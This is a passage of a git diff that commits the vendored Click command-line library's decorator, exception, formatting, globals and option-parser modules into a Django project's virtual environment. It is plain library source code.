+@t.overload +def command( + __func: t.Callable[..., t.Any], +) -> Command: + ... + + +@t.overload +def command( + name: t.Optional[str] = None, + **attrs: t.Any, +) -> t.Callable[..., Command]: + ... + + +@t.overload +def command( + name: t.Optional[str] = None, + cls: t.Type[CmdType] = ..., + **attrs: t.Any, +) -> t.Callable[..., CmdType]: + ... + + +def command( + name: t.Union[str, t.Callable[..., t.Any], None] = None, + cls: t.Optional[t.Type[Command]] = None, + **attrs: t.Any, +) -> t.Union[Command, t.Callable[..., Command]]: + r"""Creates a new :class:`Command` and uses the decorated function as + callback. This will also automatically attach all decorated + :func:`option`\s and :func:`argument`\s as parameters to the command. + + The name of the command defaults to the name of the function with + underscores replaced by dashes. If you want to change that, you can + pass the intended name as the first argument. + + All keyword arguments are forwarded to the underlying command class. + For the ``params`` argument, any decorated params are appended to + the end of the list. + + Once decorated the function turns into a :class:`Command` instance + that can be invoked as a command line utility or be attached to a + command :class:`Group`. + + :param name: the name of the command. This defaults to the function + name with underscores replaced by dashes. + :param cls: the command class to instantiate. This defaults to + :class:`Command`. + + .. versionchanged:: 8.1 + This decorator can be applied without parentheses. + + .. versionchanged:: 8.1 + The ``params`` argument can be used. Decorated params are + appended to the end of the list. + """ + + func: t.Optional[t.Callable[..., t.Any]] = None + + if callable(name): + func = name + name = None + assert cls is None, "Use 'command(cls=cls)(callable)' to specify a class." + assert not attrs, "Use 'command(**kwargs)(callable)' to provide arguments." + + if cls is None: + cls = Command + + def decorator(f: t.Callable[..., t.Any]) -> Command: + if isinstance(f, Command): + raise TypeError("Attempted to convert a callback into a command twice.") + + attr_params = attrs.pop("params", None) + params = attr_params if attr_params is not None else [] + + try: + decorator_params = f.__click_params__ # type: ignore + except AttributeError: + pass + else: + del f.__click_params__ # type: ignore + params.extend(reversed(decorator_params)) + + if attrs.get("help") is None: + attrs["help"] = f.__doc__ + + cmd = cls( # type: ignore[misc] + name=name or f.__name__.lower().replace("_", "-"), # type: ignore[arg-type] + callback=f, + params=params, + **attrs, + ) + cmd.__doc__ = f.__doc__ + return cmd + + if func is not None: + return decorator(func) + + return decorator + + +@t.overload +def group( + __func: t.Callable[..., t.Any], +) -> Group: + ... + + +@t.overload +def group( + name: t.Optional[str] = None, + **attrs: t.Any, +) -> t.Callable[[F], Group]: + ... + + +def group( + name: t.Union[str, t.Callable[..., t.Any], None] = None, **attrs: t.Any +) -> t.Union[Group, t.Callable[[F], Group]]: + """Creates a new :class:`Group` with a function as callback. This + works otherwise the same as :func:`command` just that the `cls` + parameter is set to :class:`Group`. + + .. versionchanged:: 8.1 + This decorator can be applied without parentheses. + """ + if attrs.get("cls") is None: + attrs["cls"] = Group + + if callable(name): + grp: t.Callable[[F], Group] = t.cast(Group, command(**attrs)) + return grp(name) + + return t.cast(Group, command(name, **attrs)) + + +def _param_memo(f: FC, param: Parameter) -> None: + if isinstance(f, Command): + f.params.append(param) + else: + if not hasattr(f, "__click_params__"): + f.__click_params__ = [] # type: ignore + + f.__click_params__.append(param) # type: ignore + + +def argument(*param_decls: str, **attrs: t.Any) -> t.Callable[[FC], FC]: + """Attaches an argument to the command. All positional arguments are + passed as parameter declarations to :class:`Argument`; all keyword + arguments are forwarded unchanged (except ``cls``). + This is equivalent to creating an :class:`Argument` instance manually + and attaching it to the :attr:`Command.params` list. + + :param cls: the argument class to instantiate. This defaults to + :class:`Argument`. + """ + + def decorator(f: FC) -> FC: + ArgumentClass = attrs.pop("cls", None) or Argument + _param_memo(f, ArgumentClass(param_decls, **attrs)) + return f + + return decorator + + +def option(*param_decls: str, **attrs: t.Any) -> t.Callable[[FC], FC]: + """Attaches an option to the command. All positional arguments are + passed as parameter declarations to :class:`Option`; all keyword + arguments are forwarded unchanged (except ``cls``). + This is equivalent to creating an :class:`Option` instance manually + and attaching it to the :attr:`Command.params` list. + + :param cls: the option class to instantiate. This defaults to + :class:`Option`. + """ + + def decorator(f: FC) -> FC: + # Issue 926, copy attrs, so pre-defined options can re-use the same cls= + option_attrs = attrs.copy() + OptionClass = option_attrs.pop("cls", None) or Option + _param_memo(f, OptionClass(param_decls, **option_attrs)) + return f + + return decorator + + +def confirmation_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: + """Add a ``--yes`` option which shows a prompt before continuing if + not passed. If the prompt is declined, the program will exit. + + :param param_decls: One or more option names. Defaults to the single + value ``"--yes"``. + :param kwargs: Extra arguments are passed to :func:`option`. + """ + + def callback(ctx: Context, param: Parameter, value: bool) -> None: + if not value: + ctx.abort() + + if not param_decls: + param_decls = ("--yes",) + + kwargs.setdefault("is_flag", True) + kwargs.setdefault("callback", callback) + kwargs.setdefault("expose_value", False) + kwargs.setdefault("prompt", "Do you want to continue?") + kwargs.setdefault("help", "Confirm the action without prompting.") + return option(*param_decls, **kwargs) + + +def password_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: + """Add a ``--password`` option which prompts for a password, hiding + input and asking to enter the value again for confirmation. + + :param param_decls: One or more option names. Defaults to the single + value ``"--password"``. + :param kwargs: Extra arguments are passed to :func:`option`. + """ + if not param_decls: + param_decls = ("--password",) + + kwargs.setdefault("prompt", True) + kwargs.setdefault("confirmation_prompt", True) + kwargs.setdefault("hide_input", True) + return option(*param_decls, **kwargs) + + +def version_option( + version: t.Optional[str] = None, + *param_decls: str, + package_name: t.Optional[str] = None, + prog_name: t.Optional[str] = None, + message: t.Optional[str] = None, + **kwargs: t.Any, +) -> t.Callable[[FC], FC]: + """Add a ``--version`` option which immediately prints the version + number and exits the program. + + If ``version`` is not provided, Click will try to detect it using + :func:`importlib.metadata.version` to get the version for the + ``package_name``. On Python < 3.8, the ``importlib_metadata`` + backport must be installed. + + If ``package_name`` is not provided, Click will try to detect it by + inspecting the stack frames. This will be used to detect the + version, so it must match the name of the installed package. + + :param version: The version number to show. If not provided, Click + will try to detect it. + :param param_decls: One or more option names. Defaults to the single + value ``"--version"``. + :param package_name: The package name to detect the version from. If + not provided, Click will try to detect it. + :param prog_name: The name of the CLI to show in the message. If not + provided, it will be detected from the command. + :param message: The message to show. The values ``%(prog)s``, + ``%(package)s``, and ``%(version)s`` are available. Defaults to + ``"%(prog)s, version %(version)s"``. + :param kwargs: Extra arguments are passed to :func:`option`. + :raise RuntimeError: ``version`` could not be detected. + + .. versionchanged:: 8.0 + Add the ``package_name`` parameter, and the ``%(package)s`` + value for messages. + + .. versionchanged:: 8.0 + Use :mod:`importlib.metadata` instead of ``pkg_resources``. The + version is detected based on the package name, not the entry + point name. The Python package name must match the installed + package name, or be passed with ``package_name=``. + """ + if message is None: + message = _("%(prog)s, version %(version)s") + + if version is None and package_name is None: + frame = inspect.currentframe() + f_back = frame.f_back if frame is not None else None + f_globals = f_back.f_globals if f_back is not None else None + # break reference cycle + # https://docs.python.org/3/library/inspect.html#the-interpreter-stack + del frame + + if f_globals is not None: + package_name = f_globals.get("__name__") + + if package_name == "__main__": + package_name = f_globals.get("__package__") + + if package_name: + package_name = package_name.partition(".")[0] + + def callback(ctx: Context, param: Parameter, value: bool) -> None: + if not value or ctx.resilient_parsing: + return + + nonlocal prog_name + nonlocal version + + if prog_name is None: + prog_name = ctx.find_root().info_name + + if version is None and package_name is not None: + metadata: t.Optional[types.ModuleType] + + try: + from importlib import metadata # type: ignore + except ImportError: + # Python < 3.8 + import importlib_metadata as metadata # type: ignore + + try: + version = metadata.version(package_name) # type: ignore + except metadata.PackageNotFoundError: # type: ignore + raise RuntimeError( + f"{package_name!r} is not installed. Try passing" + " 'package_name' instead." + ) from None + + if version is None: + raise RuntimeError( + f"Could not determine the version for {package_name!r} automatically." + ) + + echo( + t.cast(str, message) + % {"prog": prog_name, "package": package_name, "version": version}, + color=ctx.color, + ) + ctx.exit() + + if not param_decls: + param_decls = ("--version",) + + kwargs.setdefault("is_flag", True) + kwargs.setdefault("expose_value", False) + kwargs.setdefault("is_eager", True) + kwargs.setdefault("help", _("Show the version and exit.")) + kwargs["callback"] = callback + return option(*param_decls, **kwargs) + + +def help_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: + """Add a ``--help`` option which immediately prints the help page + and exits the program. + + This is usually unnecessary, as the ``--help`` option is added to + each command automatically unless ``add_help_option=False`` is + passed. + + :param param_decls: One or more option names. Defaults to the single + value ``"--help"``. + :param kwargs: Extra arguments are passed to :func:`option`. + """ + + def callback(ctx: Context, param: Parameter, value: bool) -> None: + if not value or ctx.resilient_parsing: + return + + echo(ctx.get_help(), color=ctx.color) + ctx.exit() + + if not param_decls: + param_decls = ("--help",) + + kwargs.setdefault("is_flag", True) + kwargs.setdefault("expose_value", False) + kwargs.setdefault("is_eager", True) + kwargs.setdefault("help", _("Show this message and exit.")) + kwargs["callback"] = callback + return option(*param_decls, **kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/click/exceptions.py b/django_lottopy/lib/python3.10/site-packages/click/exceptions.py new file mode 100644 index 00000000..9e20b3eb --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/exceptions.py @@ -0,0 +1,287 @@ +import os +import typing as t +from gettext import gettext as _ +from gettext import ngettext + +from ._compat import get_text_stderr +from .utils import echo + +if t.TYPE_CHECKING: + from .core import Context + from .core import Parameter + + +def _join_param_hints( + param_hint: t.Optional[t.Union[t.Sequence[str], str]] +) -> t.Optional[str]: + if param_hint is not None and not isinstance(param_hint, str): + return " / ".join(repr(x) for x in param_hint) + + return param_hint + + +class ClickException(Exception): + """An exception that Click can handle and show to the user.""" + + #: The exit code for this exception. + exit_code = 1 + + def __init__(self, message: str) -> None: + super().__init__(message) + self.message = message + + def format_message(self) -> str: + return self.message + + def __str__(self) -> str: + return self.message + + def show(self, file: t.Optional[t.IO] = None) -> None: + if file is None: + file = get_text_stderr() + + echo(_("Error: {message}").format(message=self.format_message()), file=file) + + +class UsageError(ClickException): + """An internal exception that signals a usage error. This typically + aborts any further handling. + + :param message: the error message to display. + :param ctx: optionally the context that caused this error. Click will + fill in the context automatically in some situations. + """ + + exit_code = 2 + + def __init__(self, message: str, ctx: t.Optional["Context"] = None) -> None: + super().__init__(message) + self.ctx = ctx + self.cmd = self.ctx.command if self.ctx else None + + def show(self, file: t.Optional[t.IO] = None) -> None: + if file is None: + file = get_text_stderr() + color = None + hint = "" + if ( + self.ctx is not None + and self.ctx.command.get_help_option(self.ctx) is not None + ): + hint = _("Try '{command} {option}' for help.").format( + command=self.ctx.command_path, option=self.ctx.help_option_names[0] + ) + hint = f"{hint}\n" + if self.ctx is not None: + color = self.ctx.color + echo(f"{self.ctx.get_usage()}\n{hint}", file=file, color=color) + echo( + _("Error: {message}").format(message=self.format_message()), + file=file, + color=color, + ) + + +class BadParameter(UsageError): + """An exception that formats out a standardized error message for a + bad parameter. This is useful when thrown from a callback or type as + Click will attach contextual information to it (for instance, which + parameter it is). + + .. versionadded:: 2.0 + + :param param: the parameter object that caused this error. This can + be left out, and Click will attach this info itself + if possible. + :param param_hint: a string that shows up as parameter name. This + can be used as alternative to `param` in cases + where custom validation should happen. If it is + a string it's used as such, if it's a list then + each item is quoted and separated. + """ + + def __init__( + self, + message: str, + ctx: t.Optional["Context"] = None, + param: t.Optional["Parameter"] = None, + param_hint: t.Optional[str] = None, + ) -> None: + super().__init__(message, ctx) + self.param = param + self.param_hint = param_hint + + def format_message(self) -> str: + if self.param_hint is not None: + param_hint = self.param_hint + elif self.param is not None: + param_hint = self.param.get_error_hint(self.ctx) # type: ignore + else: + return _("Invalid value: {message}").format(message=self.message) + + return _("Invalid value for {param_hint}: {message}").format( + param_hint=_join_param_hints(param_hint), message=self.message + ) + + +class MissingParameter(BadParameter): + """Raised if click required an option or argument but it was not + provided when invoking the script. + + .. versionadded:: 4.0 + + :param param_type: a string that indicates the type of the parameter. + The default is to inherit the parameter type from + the given `param`. Valid values are ``'parameter'``, + ``'option'`` or ``'argument'``. + """ + + def __init__( + self, + message: t.Optional[str] = None, + ctx: t.Optional["Context"] = None, + param: t.Optional["Parameter"] = None, + param_hint: t.Optional[str] = None, + param_type: t.Optional[str] = None, + ) -> None: + super().__init__(message or "", ctx, param, param_hint) + self.param_type = param_type + + def format_message(self) -> str: + if self.param_hint is not None: + param_hint: t.Optional[str] = self.param_hint + elif self.param is not None: + param_hint = self.param.get_error_hint(self.ctx) # type: ignore + else: + param_hint = None + + param_hint = _join_param_hints(param_hint) + param_hint = f" {param_hint}" if param_hint else "" + + param_type = self.param_type + if param_type is None and self.param is not None: + param_type = self.param.param_type_name + + msg = self.message + if self.param is not None: + msg_extra = self.param.type.get_missing_message(self.param) + if msg_extra: + if msg: + msg += f". {msg_extra}" + else: + msg = msg_extra + + msg = f" {msg}" if msg else "" + + # Translate param_type for known types. + if param_type == "argument": + missing = _("Missing argument") + elif param_type == "option": + missing = _("Missing option") + elif param_type == "parameter": + missing = _("Missing parameter") + else: + missing = _("Missing {param_type}").format(param_type=param_type) + + return f"{missing}{param_hint}.{msg}" + + def __str__(self) -> str: + if not self.message: + param_name = self.param.name if self.param else None + return _("Missing parameter: {param_name}").format(param_name=param_name) + else: + return self.message + + +class NoSuchOption(UsageError): + """Raised if click attempted to handle an option that does not + exist. + + .. versionadded:: 4.0 + """ + + def __init__( + self, + option_name: str, + message: t.Optional[str] = None, + possibilities: t.Optional[t.Sequence[str]] = None, + ctx: t.Optional["Context"] = None, + ) -> None: + if message is None: + message = _("No such option: {name}").format(name=option_name) + + super().__init__(message, ctx) + self.option_name = option_name + self.possibilities = possibilities + + def format_message(self) -> str: + if not self.possibilities: + return self.message + + possibility_str = ", ".join(sorted(self.possibilities)) + suggest = ngettext( + "Did you mean {possibility}?", + "(Possible options: {possibilities})", + len(self.possibilities), + ).format(possibility=possibility_str, possibilities=possibility_str) + return f"{self.message} {suggest}" + + +class BadOptionUsage(UsageError): + """Raised if an option is generally supplied but the use of the option + was incorrect. This is for instance raised if the number of arguments + for an option is not correct. + + .. versionadded:: 4.0 + + :param option_name: the name of the option being used incorrectly. + """ + + def __init__( + self, option_name: str, message: str, ctx: t.Optional["Context"] = None + ) -> None: + super().__init__(message, ctx) + self.option_name = option_name + + +class BadArgumentUsage(UsageError): + """Raised if an argument is generally supplied but the use of the argument + was incorrect. This is for instance raised if the number of values + for an argument is not correct. + + .. versionadded:: 6.0 + """ + + +class FileError(ClickException): + """Raised if a file cannot be opened.""" + + def __init__(self, filename: str, hint: t.Optional[str] = None) -> None: + if hint is None: + hint = _("unknown error") + + super().__init__(hint) + self.ui_filename = os.fsdecode(filename) + self.filename = filename + + def format_message(self) -> str: + return _("Could not open file {filename!r}: {message}").format( + filename=self.ui_filename, message=self.message + ) + + +class Abort(RuntimeError): + """An internal signalling exception that signals Click to abort.""" + + +class Exit(RuntimeError): + """An exception that indicates that the application should exit with some + status code. + + :param code: the status code to exit with. + """ + + __slots__ = ("exit_code",) + + def __init__(self, code: int = 0) -> None: + self.exit_code = code diff --git a/django_lottopy/lib/python3.10/site-packages/click/formatting.py b/django_lottopy/lib/python3.10/site-packages/click/formatting.py new file mode 100644 index 00000000..ddd2a2f8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/formatting.py @@ -0,0 +1,301 @@ +import typing as t +from contextlib import contextmanager +from gettext import gettext as _ + +from ._compat import term_len +from .parser import split_opt + +# Can force a width. This is used by the test system +FORCED_WIDTH: t.Optional[int] = None + + +def measure_table(rows: t.Iterable[t.Tuple[str, str]]) -> t.Tuple[int, ...]: + widths: t.Dict[int, int] = {} + + for row in rows: + for idx, col in enumerate(row): + widths[idx] = max(widths.get(idx, 0), term_len(col)) + + return tuple(y for x, y in sorted(widths.items())) + + +def iter_rows( + rows: t.Iterable[t.Tuple[str, str]], col_count: int +) -> t.Iterator[t.Tuple[str, ...]]: + for row in rows: + yield row + ("",) * (col_count - len(row)) + + +def wrap_text( + text: str, + width: int = 78, + initial_indent: str = "", + subsequent_indent: str = "", + preserve_paragraphs: bool = False, +) -> str: + """A helper function that intelligently wraps text. By default, it + assumes that it operates on a single paragraph of text but if the + `preserve_paragraphs` parameter is provided it will intelligently + handle paragraphs (defined by two empty lines). + + If paragraphs are handled, a paragraph can be prefixed with an empty + line containing the ``\\b`` character (``\\x08``) to indicate that + no rewrapping should happen in that block. + + :param text: the text that should be rewrapped. + :param width: the maximum width for the text. + :param initial_indent: the initial indent that should be placed on the + first line as a string. + :param subsequent_indent: the indent string that should be placed on + each consecutive line. + :param preserve_paragraphs: if this flag is set then the wrapping will + intelligently handle paragraphs. + """ + from ._textwrap import TextWrapper + + text = text.expandtabs() + wrapper = TextWrapper( + width, + initial_indent=initial_indent, + subsequent_indent=subsequent_indent, + replace_whitespace=False, + ) + if not preserve_paragraphs: + return wrapper.fill(text) + + p: t.List[t.Tuple[int, bool, str]] = [] + buf: t.List[str] = [] + indent = None + + def _flush_par() -> None: + if not buf: + return + if buf[0].strip() == "\b": + p.append((indent or 0, True, "\n".join(buf[1:]))) + else: + p.append((indent or 0, False, " ".join(buf))) + del buf[:] + + for line in text.splitlines(): + if not line: + _flush_par() + indent = None + else: + if indent is None: + orig_len = term_len(line) + line = line.lstrip() + indent = orig_len - term_len(line) + buf.append(line) + _flush_par() + + rv = [] + for indent, raw, text in p: + with wrapper.extra_indent(" " * indent): + if raw: + rv.append(wrapper.indent_only(text)) + else: + rv.append(wrapper.fill(text)) + + return "\n\n".join(rv) + + +class HelpFormatter: + """This class helps with formatting text-based help pages. It's + usually just needed for very special internal cases, but it's also + exposed so that developers can write their own fancy outputs. + + At present, it always writes into memory. + + :param indent_increment: the additional increment for each level. + :param width: the width for the text. This defaults to the terminal + width clamped to a maximum of 78. + """ + + def __init__( + self, + indent_increment: int = 2, + width: t.Optional[int] = None, + max_width: t.Optional[int] = None, + ) -> None: + import shutil + + self.indent_increment = indent_increment + if max_width is None: + max_width = 80 + if width is None: + width = FORCED_WIDTH + if width is None: + width = max(min(shutil.get_terminal_size().columns, max_width) - 2, 50) + self.width = width + self.current_indent = 0 + self.buffer: t.List[str] = [] + + def write(self, string: str) -> None: + """Writes a unicode string into the internal buffer.""" + self.buffer.append(string) + + def indent(self) -> None: + """Increases the indentation.""" + self.current_indent += self.indent_increment + + def dedent(self) -> None: + """Decreases the indentation.""" + self.current_indent -= self.indent_increment + + def write_usage( + self, prog: str, args: str = "", prefix: t.Optional[str] = None + ) -> None: + """Writes a usage line into the buffer. + + :param prog: the program name. + :param args: whitespace separated list of arguments. + :param prefix: The prefix for the first line. Defaults to + ``"Usage: "``. + """ + if prefix is None: + prefix = f"{_('Usage:')} " + + usage_prefix = f"{prefix:>{self.current_indent}}{prog} " + text_width = self.width - self.current_indent + + if text_width >= (term_len(usage_prefix) + 20): + # The arguments will fit to the right of the prefix. + indent = " " * term_len(usage_prefix) + self.write( + wrap_text( + args, + text_width, + initial_indent=usage_prefix, + subsequent_indent=indent, + ) + ) + else: + # The prefix is too long, put the arguments on the next line. + self.write(usage_prefix) + self.write("\n") + indent = " " * (max(self.current_indent, term_len(prefix)) + 4) + self.write( + wrap_text( + args, text_width, initial_indent=indent, subsequent_indent=indent + ) + ) + + self.write("\n") + + def write_heading(self, heading: str) -> None: + """Writes a heading into the buffer.""" + self.write(f"{'':>{self.current_indent}}{heading}:\n") + + def write_paragraph(self) -> None: + """Writes a paragraph into the buffer.""" + if self.buffer: + self.write("\n") + + def write_text(self, text: str) -> None: + """Writes re-indented text into the buffer. This rewraps and + preserves paragraphs. + """ + indent = " " * self.current_indent + self.write( + wrap_text( + text, + self.width, + initial_indent=indent, + subsequent_indent=indent, + preserve_paragraphs=True, + ) + ) + self.write("\n") + + def write_dl( + self, + rows: t.Sequence[t.Tuple[str, str]], + col_max: int = 30, + col_spacing: int = 2, + ) -> None: + """Writes a definition list into the buffer. This is how options + and commands are usually formatted. + + :param rows: a list of two item tuples for the terms and values. + :param col_max: the maximum width of the first column. + :param col_spacing: the number of spaces between the first and + second column. + """ + rows = list(rows) + widths = measure_table(rows) + if len(widths) != 2: + raise TypeError("Expected two columns for definition list") + + first_col = min(widths[0], col_max) + col_spacing + + for first, second in iter_rows(rows, len(widths)): + self.write(f"{'':>{self.current_indent}}{first}") + if not second: + self.write("\n") + continue + if term_len(first) <= first_col - col_spacing: + self.write(" " * (first_col - term_len(first))) + else: + self.write("\n") + self.write(" " * (first_col + self.current_indent)) + + text_width = max(self.width - first_col - 2, 10) + wrapped_text = wrap_text(second, text_width, preserve_paragraphs=True) + lines = wrapped_text.splitlines() + + if lines: + self.write(f"{lines[0]}\n") + + for line in lines[1:]: + self.write(f"{'':>{first_col + self.current_indent}}{line}\n") + else: + self.write("\n") + + @contextmanager + def section(self, name: str) -> t.Iterator[None]: + """Helpful context manager that writes a paragraph, a heading, + and the indents. + + :param name: the section name that is written as heading. + """ + self.write_paragraph() + self.write_heading(name) + self.indent() + try: + yield + finally: + self.dedent() + + @contextmanager + def indentation(self) -> t.Iterator[None]: + """A context manager that increases the indentation.""" + self.indent() + try: + yield + finally: + self.dedent() + + def getvalue(self) -> str: + """Returns the buffer contents.""" + return "".join(self.buffer) + + +def join_options(options: t.Sequence[str]) -> t.Tuple[str, bool]: + """Given a list of option strings this joins them in the most appropriate + way and returns them in the form ``(formatted_string, + any_prefix_is_slash)`` where the second item in the tuple is a flag that + indicates if any of the option prefixes was a slash. + """ + rv = [] + any_prefix_is_slash = False + + for opt in options: + prefix = split_opt(opt)[0] + + if prefix == "/": + any_prefix_is_slash = True + + rv.append((len(prefix), opt)) + + rv.sort(key=lambda x: x[0]) + return ", ".join(x[1] for x in rv), any_prefix_is_slash diff --git a/django_lottopy/lib/python3.10/site-packages/click/globals.py b/django_lottopy/lib/python3.10/site-packages/click/globals.py new file mode 100644 index 00000000..480058f1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/globals.py @@ -0,0 +1,68 @@ +import typing as t +from threading import local + +if t.TYPE_CHECKING: + import typing_extensions as te + from .core import Context + +_local = local() + + +@t.overload +def get_current_context(silent: "te.Literal[False]" = False) -> "Context": + ... + + +@t.overload +def get_current_context(silent: bool = ...) -> t.Optional["Context"]: + ... + + +def get_current_context(silent: bool = False) -> t.Optional["Context"]: + """Returns the current click context. This can be used as a way to + access the current context object from anywhere. This is a more implicit + alternative to the :func:`pass_context` decorator. This function is + primarily useful for helpers such as :func:`echo` which might be + interested in changing its behavior based on the current context. + + To push the current context, :meth:`Context.scope` can be used. + + .. versionadded:: 5.0 + + :param silent: if set to `True` the return value is `None` if no context + is available. The default behavior is to raise a + :exc:`RuntimeError`. + """ + try: + return t.cast("Context", _local.stack[-1]) + except (AttributeError, IndexError) as e: + if not silent: + raise RuntimeError("There is no active click context.") from e + + return None + + +def push_context(ctx: "Context") -> None: + """Pushes a new context to the current stack.""" + _local.__dict__.setdefault("stack", []).append(ctx) + + +def pop_context() -> None: + """Removes the top level from the stack.""" + _local.stack.pop() + + +def resolve_color_default(color: t.Optional[bool] = None) -> t.Optional[bool]: + """Internal helper to get the default value of the color flag. If a + value is passed it's returned unchanged, otherwise it's looked up from + the current context. + """ + if color is not None: + return color + + ctx = get_current_context(silent=True) + + if ctx is not None: + return ctx.color + + return None diff --git a/django_lottopy/lib/python3.10/site-packages/click/parser.py b/django_lottopy/lib/python3.10/site-packages/click/parser.py new file mode 100644 index 00000000..2d5a2ed7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/parser.py @@ -0,0 +1,529 @@ +""" +This module started out as largely a copy paste from the stdlib's +optparse module with the features removed that we do not need from +optparse because we implement them in Click on a higher level (for +instance type handling, help formatting and a lot more). + +The plan is to remove more and more from here over time. + +The reason this is a different module and not optparse from the stdlib +is that there are differences in 2.x and 3.x about the error messages +generated and optparse in the stdlib uses gettext for no good reason +and might cause us issues. + +Click uses parts of optparse written by Gregory P. Ward and maintained +by the Python Software Foundation. This is limited to code in parser.py. + +Copyright 2001-2006 Gregory P. Ward. All rights reserved. +Copyright 2002-2006 Python Software Foundation. All rights reserved. +""" +# This code uses parts of optparse written by Gregory P. Ward and +# maintained by the Python Software Foundation. +# Copyright 2001-2006 Gregory P. Ward +# Copyright 2002-2006 Python Software Foundation +import typing as t +from collections import deque +from gettext import gettext as _ +from gettext import ngettext + +from .exceptions import BadArgumentUsage +from .exceptions import BadOptionUsage +from .exceptions import NoSuchOption +from .exceptions import UsageError + +if t.TYPE_CHECKING: + import typing_extensions as te + from .core import Argument as CoreArgument + from .core import Context + from .core import Option as CoreOption + from .core import Parameter as CoreParameter + +V = t.TypeVar("V") + +# Sentinel value that indicates an option was passed as a flag without a +# value but is not a flag option. Option.consume_value uses this to +# prompt or use the flag_value. +_flag_needs_value = object() + + +def _unpack_args( + args: t.Sequence[str], nargs_spec: t.Sequence[int] +) -> t.Tuple[t.Sequence[t.Union[str, t.Sequence[t.Optional[str]], None]], t.List[str]]: + """Given an iterable of arguments and an iterable of nargs specifications, + it returns a tuple with all the unpacked arguments at the first index + and all remaining arguments as the second. + + The nargs specification is the number of arguments that should be consumed + or `-1` to indicate that this position should eat up all the remainders. + + Missing items are filled with `None`. + """ + args = deque(args) + nargs_spec = deque(nargs_spec) + rv: t.List[t.Union[str, t.Tuple[t.Optional[str], ...], None]] = [] + spos: t.Optional[int] = None + + def _fetch(c: "te.Deque[V]") -> t.Optional[V]: + try: + if spos is None: + return c.popleft() + else: + return c.pop() + except IndexError: + return None + + while nargs_spec: + nargs = _fetch(nargs_spec) + + if nargs is None: + continue + + if nargs == 1: + rv.append(_fetch(args)) + elif nargs > 1: + x = [_fetch(args) for _ in range(nargs)] + + # If we're reversed, we're pulling in the arguments in reverse, + # so we need to turn them around. + if spos is not None: + x.reverse() + + rv.append(tuple(x)) + elif nargs < 0: + if spos is not None: + raise TypeError("Cannot have two nargs < 0") + + spos = len(rv) + rv.append(None) + + # spos is the position of the wildcard (star). If it's not `None`, + # we fill it with the remainder. + if spos is not None: + rv[spos] = tuple(args) + args = [] + rv[spos + 1 :] = reversed(rv[spos + 1 :]) + + return tuple(rv), list(args) + + +def split_opt(opt: str) -> t.Tuple[str, str]: + first = opt[:1] + if first.isalnum(): + return "", opt + if opt[1:2] == first: + return opt[:2], opt[2:] + return first, opt[1:] + + +def normalize_opt(opt: str, ctx: t.Optional["Context"]) -> str: + if ctx is None or ctx.token_normalize_func is None: + return opt + prefix, opt = split_opt(opt) + return f"{prefix}{ctx.token_normalize_func(opt)}" + + +def split_arg_string(string: str) -> t.List[str]: + """Split an argument string as with :func:`shlex.split`, but don't + fail if the string is incomplete. Ignores a missing closing quote or + incomplete escape sequence and uses the partial token as-is. + + .. code-block:: python + + split_arg_string("example 'my file") + ["example", "my file"] + + split_arg_string("example my\\") + ["example", "my"] + + :param string: String to split. + """ + import shlex + + lex = shlex.shlex(string, posix=True) + lex.whitespace_split = True + lex.commenters = "" + out = [] + + try: + for token in lex: + out.append(token) + except ValueError: + # Raised when end-of-string is reached in an invalid state. Use + # the partial token as-is. The quote or escape character is in + # lex.state, not lex.token. + out.append(lex.token) + + return out + + +class Option: + def __init__( + self, + obj: "CoreOption", + opts: t.Sequence[str], + dest: t.Optional[str], + action: t.Optional[str] = None, + nargs: int = 1, + const: t.Optional[t.Any] = None, + ): + self._short_opts = [] + self._long_opts = [] + self.prefixes = set() + + for opt in opts: + prefix, value = split_opt(opt) + if not prefix: + raise ValueError(f"Invalid start character for option ({opt})") + self.prefixes.add(prefix[0]) + if len(prefix) == 1 and len(value) == 1: + self._short_opts.append(opt) + else: + self._long_opts.append(opt) + self.prefixes.add(prefix) + + if action is None: + action = "store" + + self.dest = dest + self.action = action + self.nargs = nargs + self.const = const + self.obj = obj + + @property + def takes_value(self) -> bool: + return self.action in ("store", "append") + + def process(self, value: str, state: "ParsingState") -> None: + if self.action == "store": + state.opts[self.dest] = value # type: ignore + elif self.action == "store_const": + state.opts[self.dest] = self.const # type: ignore + elif self.action == "append": + state.opts.setdefault(self.dest, []).append(value) # type: ignore + elif self.action == "append_const": + state.opts.setdefault(self.dest, []).append(self.const) # type: ignore + elif self.action == "count": + state.opts[self.dest] = state.opts.get(self.dest, 0) + 1 # type: ignore + else: + raise ValueError(f"unknown action '{self.action}'") + state.order.append(self.obj) + + +class Argument: + def __init__(self, obj: "CoreArgument", dest: t.Optional[str], nargs: int = 1): + self.dest = dest + self.nargs = nargs + self.obj = obj + + def process( + self, + value: t.Union[t.Optional[str], t.Sequence[t.Optional[str]]], + state: "ParsingState", + ) -> None: + if self.nargs > 1: + assert value is not None + holes = sum(1 for x in value if x is None) + if holes == len(value): + value = None + elif holes != 0: + raise BadArgumentUsage( + _("Argument {name!r} takes {nargs} values.").format( + name=self.dest, nargs=self.nargs + ) + ) + + if self.nargs == -1 and self.obj.envvar is not None and value == (): + # Replace empty tuple with None so that a value from the + # environment may be tried. + value = None + + state.opts[self.dest] = value # type: ignore + state.order.append(self.obj) + + +class ParsingState: + def __init__(self, rargs: t.List[str]) -> None: + self.opts: t.Dict[str, t.Any] = {} + self.largs: t.List[str] = [] + self.rargs = rargs + self.order: t.List["CoreParameter"] = [] + + +class OptionParser: + """The option parser is an internal class that is ultimately used to + parse options and arguments. It's modelled after optparse and brings + a similar but vastly simplified API. It should generally not be used + directly as the high level Click classes wrap it for you. + + It's not nearly as extensible as optparse or argparse as it does not + implement features that are implemented on a higher level (such as + types or defaults). + + :param ctx: optionally the :class:`~click.Context` where this parser + should go with. + """ + + def __init__(self, ctx: t.Optional["Context"] = None) -> None: + #: The :class:`~click.Context` for this parser. This might be + #: `None` for some advanced use cases. + self.ctx = ctx + #: This controls how the parser deals with interspersed arguments. + #: If this is set to `False`, the parser will stop on the first + #: non-option. Click uses this to implement nested subcommands + #: safely. + self.allow_interspersed_args = True + #: This tells the parser how to deal with unknown options. By + 